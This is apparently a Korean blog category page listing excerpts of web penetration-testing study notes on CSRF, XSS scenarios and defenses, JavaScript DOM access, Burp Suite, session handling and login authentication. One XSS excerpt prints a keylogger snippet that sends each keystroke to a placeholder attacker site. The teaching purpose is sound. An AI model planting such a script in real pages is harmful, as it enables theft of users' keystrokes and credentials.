본문 바로가기

웹 모의해킹 스터디/수업 정리

(6)
12주차 수업 정리 (CSRF, XSS와 CSRF 차이, CSRF 취약점, 공격 예시) CSRF (Cross Site Request Forgery) 피해자가 서버로 임의의 요청을 하게 만드는 것 XSS vs CSRF XSS : 클라이언트 측 스크립트를 삽입하는 공격 CSRF : 피해자가 서버로 공격자의 의도가 담긴 요청을 하게 만드는 공격 보통 서치를 해보면 xss는 클라이언트 측 공격이고 csrf는 서버 측 공격이라고 설명하는 경우가 많은데 엄밀히 말하면 아님. 하지만 간혹 면접관분들이 이런 식으로 이해하고 있는 경우가 있으니 이렇게 얘기해도 되긴 함. CSRF가 XSS를 만나면 파급력이 커짐 CSRF를 설명할 때 XSS 형태로 보여주는 경우가 많은데, 이는 csrf가 xss를 만나면 파급력이 훨씬 커지기 때문임. 하지만 xss 형태 말고도 피해자에게 정보를 바꾸는 url (GET 방식)..
11주차 수업 정리 - 2 (JavaScript DOM, 정보 탈취) JavaScript를 이용한 페이지 리다이렉트 1. 2. JavaScript를 이용한 주소창 변조 Reflected XSS 공격에서 URL이 너무 길어서 의심스러워 보일때 사용한다. JavaScript로 DOM 객체 접근 전체 소스코드에 접근 document 특정 태그에 접근 document.getElementById document.getElementByClassName 특정 태그의 속성 가져오기 document.getElementById('') .getElementsByClassName('') 등 태그 안의 text 가져오기 .innerHTML 등 좀 더 자세하게는 여기서 https://studysteadily.tistory.com/23 Javascript DOM 접근 및 조작 (CRUD, 이벤트 핸..
11주차 수업 정리 - 1 (XSS 공격 시나리오, XSS 대응 방안, 필터링은 대응방안이 아니다) XSS 공격 시나리오1. 쿠키 탈취 2. 악의적인 페이지로 리다이렉트 Reflected XSS 공격이 통하는 곳에서 3. 키로거 이용한 정보 탈취 el.addEventListener('keyup', () => { new Image().src = "http://공격자사이트.com/~~?cookie=".concat(event.key); }); XSS 대응 방안 - HTML Entityxss 공격의 대응 방안인 HTML Entity와 관련해서는 아래 글에 작성해두었다.https://studysteadily.tistory.com/9 XSS(Cross Site Scripting) 공격이란? (종류, 방어기법)1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사..
모의해킹의 꽃 Burp Suite (버프슈트)와 proxy에 대해 알아보자 1. Proxy 서버란? 클라이언트와 서버가 중간에 거쳐 가는 서버 프록시를 사용하지 않는 경우 클라이언트의 요청 브라우저 -> 서버 프록시를 사용하는 경우 클라이언트의 요청 브라우저 -> 프록시 -> 서버 응답도 마찬가지로 프록시 서버를 거쳐간다. 위 과정과 방향만 반대로 거쳐간다. 2. Burp Suite burp suite를 부르는 방식은 버프슈트, 버프 스위트, 버프 스윗 등 다양한데 나는 보통 버프슈트라고 부른다. 버프슈트는 프록시 서버를 제공하고, 모의해킹에 사용되는 다양한 기능들을 제공하기 때문에 모의해킹에 필수적이다. 아마 모의해킹을 공부 한다면 알 수 밖에 없을 것이다. 아직은 나도 공부를 하고 있는 과정이기 때문에 공부하며 익힌 기능들을 정리해본다. Proxy : web browser와..
쿠키 vs 세션 vs 토큰(JWT) | 서버가 로그인 상태를 유지하는 방법 우리가 웹사이트에 로그인을 하면 카페나 블로그로 이동해도 로그인 상태는 유지되어 있다. 다른 페이지로 이동하더라도 로그인이 풀리지 않아 굳이 다시 인증할 필요가 없다는 것이다. 그렇다면 서버는 어떻게 새로운 요청을 해도 인증 상태를 유지하는걸까? 우선 웹 표준 프로토콜인 HTTP의 특징을 알아보자. HTTP의 특징: Stateless: 서버는 클라이언트의 상태를 저장하지 않는다. 따라서 이전에 클라이언트가 어떤 요청을 보냈는지 기억하지 못한다. Connectionless: 서버는 하나의 요청에 하나의 응답을 보내고 연결을 끊는다. 두가지 특징을 통해 서버는 비용과 부담을 줄일 수 있다. 하지만 서버는 클라이언트의 상태를 저장하지 않기 때문에 사용자가 로그인을 통해 인증을 거쳐도, 이후 요청에 대해서는 인..
로그인은 식별과 인증으로 나뉜다 로그인이란? 시스템에 자기 자신을 증명하는 것 로그인 과정은 크게 식별과 인증으로 나뉜다. > 식별 시스템 내 수많은 사용자 중에서 특정한 사용자를 찾아내는 작업 사용자가 로그인할 때 식별정보를 입력하면 서버는 DB에 일치하는 식별정보가 존재하는지 확인한다. 하지만 만약 중복된 식별정보가 존재한다면? 서버는 특정한 사용자를 가려낼 수 없으므로 식별이 불가능하다. 따라서 식별정보는 중복될 수 없다는 특징이 있다. 시스템에 로그인할 때 흔히 사용하는 ID, Email이 대표적인 식별정보이다. 이러한 식별정보는 DB에 PK로 저장되기 때문에 실제로 중복체크를 우회해서 회원가입을 시도해도 DB 자체에서 거부되어 회원가입이 불가능하다. > 인증 식별된 사용자가 본인이 맞는지 확인하는 작업 시스템은 사용자에게 식별..